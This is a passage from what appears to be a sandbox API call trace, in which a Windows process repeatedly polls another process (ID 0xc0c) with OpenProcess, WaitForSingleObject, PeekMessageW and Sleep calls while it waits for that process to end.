returned 0x102 [0278.466] CloseHandle (hObject=0x1990) returned 1 [0278.466] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.466] Sleep (dwMilliseconds=0x1) [0278.481] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.481] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.497] CloseHandle (hObject=0x1990) returned 1 [0278.497] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.497] Sleep (dwMilliseconds=0x1) [0278.513] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.513] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.528] CloseHandle (hObject=0x1990) returned 1 [0278.528] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.528] Sleep (dwMilliseconds=0x1) [0278.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.544] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.560] CloseHandle (hObject=0x1990) returned 1 [0278.561] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.561] Sleep (dwMilliseconds=0x1) [0278.575] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.575] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.591] CloseHandle (hObject=0x1990) returned 1 [0278.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.591] Sleep (dwMilliseconds=0x1) [0278.606] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.606] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.623] CloseHandle (hObject=0x1990) returned 1 [0278.623] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.623] Sleep (dwMilliseconds=0x1) [0278.638] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.638] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.653] CloseHandle (hObject=0x1990) returned 1 [0278.653] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.653] Sleep (dwMilliseconds=0x1) [0278.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.669] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.684] CloseHandle (hObject=0x1990) returned 1 [0278.685] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.685] Sleep (dwMilliseconds=0x1) [0278.700] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.700] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.716] CloseHandle (hObject=0x1990) returned 1 [0278.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.716] Sleep (dwMilliseconds=0x1) [0278.731] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.731] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.747] CloseHandle (hObject=0x1990) returned 1 [0278.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.747] Sleep (dwMilliseconds=0x1) [0278.773] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.773] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.778] CloseHandle (hObject=0x1990) returned 1 [0278.778] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.778] Sleep (dwMilliseconds=0x1) [0278.794] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.794] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.810] CloseHandle (hObject=0x1990) returned 1 [0278.810] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.810] Sleep (dwMilliseconds=0x1) [0278.825] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.825] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.841] CloseHandle (hObject=0x1990) returned 1 [0278.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.841] Sleep (dwMilliseconds=0x1) [0278.856] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.856] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.872] CloseHandle (hObject=0x1990) returned 1 [0278.872] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.872] Sleep (dwMilliseconds=0x1) [0278.887] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.887] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.903] CloseHandle (hObject=0x1990) returned 1 [0278.903] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.903] Sleep (dwMilliseconds=0x1) [0278.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.919] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.934] CloseHandle (hObject=0x1990) returned 1 [0278.934] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.935] Sleep (dwMilliseconds=0x1) [0278.950] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.950] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.966] CloseHandle (hObject=0x1990) returned 1 [0278.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.966] Sleep (dwMilliseconds=0x1) [0278.990] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0278.990] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0278.997] CloseHandle (hObject=0x1990) returned 1 [0278.997] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0278.997] Sleep (dwMilliseconds=0x1) [0279.012] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.012] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.028] CloseHandle (hObject=0x1990) returned 1 [0279.028] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.028] Sleep (dwMilliseconds=0x1) [0279.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.044] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.059] CloseHandle (hObject=0x1990) returned 1 [0279.059] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.060] Sleep (dwMilliseconds=0x1) [0279.075] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.075] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.091] CloseHandle (hObject=0x1990) returned 1 [0279.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.091] Sleep (dwMilliseconds=0x1) [0279.106] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.106] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.122] CloseHandle (hObject=0x1990) returned 1 [0279.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.122] Sleep (dwMilliseconds=0x1) [0279.137] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.137] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.153] CloseHandle (hObject=0x1990) returned 1 [0279.153] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.153] Sleep (dwMilliseconds=0x1) [0279.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.170] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.185] CloseHandle (hObject=0x1990) returned 1 [0279.185] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.185] Sleep (dwMilliseconds=0x1) [0279.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.200] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.216] CloseHandle (hObject=0x1990) returned 1 [0279.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.216] Sleep (dwMilliseconds=0x1) [0279.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.231] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.247] CloseHandle (hObject=0x1990) returned 1 [0279.247] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.247] Sleep (dwMilliseconds=0x1) [0279.262] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.262] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.278] CloseHandle (hObject=0x1990) returned 1 [0279.278] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.278] Sleep (dwMilliseconds=0x1) [0279.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.294] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.309] CloseHandle (hObject=0x1990) returned 1 [0279.309] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.310] Sleep (dwMilliseconds=0x1) [0279.325] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.325] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.341] CloseHandle (hObject=0x1990) returned 1 [0279.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.341] Sleep (dwMilliseconds=0x1) [0279.356] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.356] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.372] CloseHandle (hObject=0x1990) returned 1 [0279.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.372] Sleep (dwMilliseconds=0x1) [0279.388] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.388] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.403] CloseHandle (hObject=0x1990) returned 1 [0279.403] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.403] Sleep (dwMilliseconds=0x1) [0279.420] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.420] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.435] CloseHandle (hObject=0x1990) returned 1 [0279.435] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.435] Sleep (dwMilliseconds=0x1) [0279.450] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.450] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.466] CloseHandle (hObject=0x1990) returned 1 [0279.466] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.466] Sleep (dwMilliseconds=0x1) [0279.467] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.468] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.478] CloseHandle (hObject=0x1990) returned 1 [0279.478] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.478] Sleep (dwMilliseconds=0x1) [0279.480] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.480] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.498] CloseHandle (hObject=0x1990) returned 1 [0279.499] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.499] Sleep (dwMilliseconds=0x1) [0279.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.514] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.530] CloseHandle (hObject=0x1990) returned 1 [0279.530] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.530] Sleep (dwMilliseconds=0x1) [0279.546] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.546] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.561] CloseHandle (hObject=0x1990) returned 1 [0279.561] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.561] Sleep (dwMilliseconds=0x1) [0279.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.577] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.592] CloseHandle (hObject=0x1990) returned 1 [0279.592] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.592] Sleep (dwMilliseconds=0x1) [0279.608] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.608] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.623] CloseHandle (hObject=0x1990) returned 1 [0279.623] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.624] Sleep (dwMilliseconds=0x1) [0279.639] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.639] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.655] CloseHandle (hObject=0x1990) returned 1 [0279.655] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.655] Sleep (dwMilliseconds=0x1) [0279.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.670] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.686] CloseHandle (hObject=0x1990) returned 1 [0279.686] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.686] Sleep (dwMilliseconds=0x1) [0279.701] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.702] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.717] CloseHandle (hObject=0x1990) returned 1 [0279.717] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.717] Sleep (dwMilliseconds=0x1) [0279.733] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.733] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.748] CloseHandle (hObject=0x1990) returned 1 [0279.748] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.748] Sleep (dwMilliseconds=0x1) [0279.774] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.774] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.780] CloseHandle (hObject=0x1990) returned 1 [0279.780] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.780] Sleep (dwMilliseconds=0x1) [0279.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.795] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.811] CloseHandle (hObject=0x1990) returned 1 [0279.811] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.811] Sleep (dwMilliseconds=0x1) [0279.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.826] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.842] CloseHandle (hObject=0x1990) returned 1 [0279.842] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.842] Sleep (dwMilliseconds=0x1) [0279.860] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.860] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.873] CloseHandle (hObject=0x1990) returned 1 [0279.873] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.873] Sleep (dwMilliseconds=0x1) [0279.890] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.890] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.905] CloseHandle (hObject=0x1990) returned 1 [0279.905] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.906] Sleep (dwMilliseconds=0x1) [0279.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.920] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.936] CloseHandle (hObject=0x1990) returned 1 [0279.936] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.936] Sleep (dwMilliseconds=0x1) [0279.951] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.951] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.967] CloseHandle (hObject=0x1990) returned 1 [0279.967] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.967] Sleep (dwMilliseconds=0x1) [0279.991] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0279.991] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0279.998] CloseHandle (hObject=0x1990) returned 1 [0279.998] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0279.998] Sleep (dwMilliseconds=0x1) [0280.014] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.014] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.030] CloseHandle (hObject=0x1990) returned 1 [0280.030] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.030] Sleep (dwMilliseconds=0x1) [0280.045] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.045] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.061] CloseHandle (hObject=0x1990) returned 1 [0280.061] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.061] Sleep (dwMilliseconds=0x1) [0280.077] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.077] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.093] CloseHandle (hObject=0x1990) returned 1 [0280.093] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.093] Sleep (dwMilliseconds=0x1) [0280.108] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.108] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.124] CloseHandle (hObject=0x1990) returned 1 [0280.124] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.124] Sleep (dwMilliseconds=0x1) [0280.140] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.140] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.155] CloseHandle (hObject=0x1990) returned 1 [0280.155] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.155] Sleep (dwMilliseconds=0x1) [0280.171] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.171] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.186] CloseHandle (hObject=0x1990) returned 1 [0280.186] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.186] Sleep (dwMilliseconds=0x1) [0280.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.202] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.217] CloseHandle (hObject=0x1990) returned 1 [0280.217] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.217] Sleep (dwMilliseconds=0x1) [0280.233] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0280.233] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0280.248] CloseHandle (hObject=0x1990) returned 1 [0280.248] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0280.255] Sleep 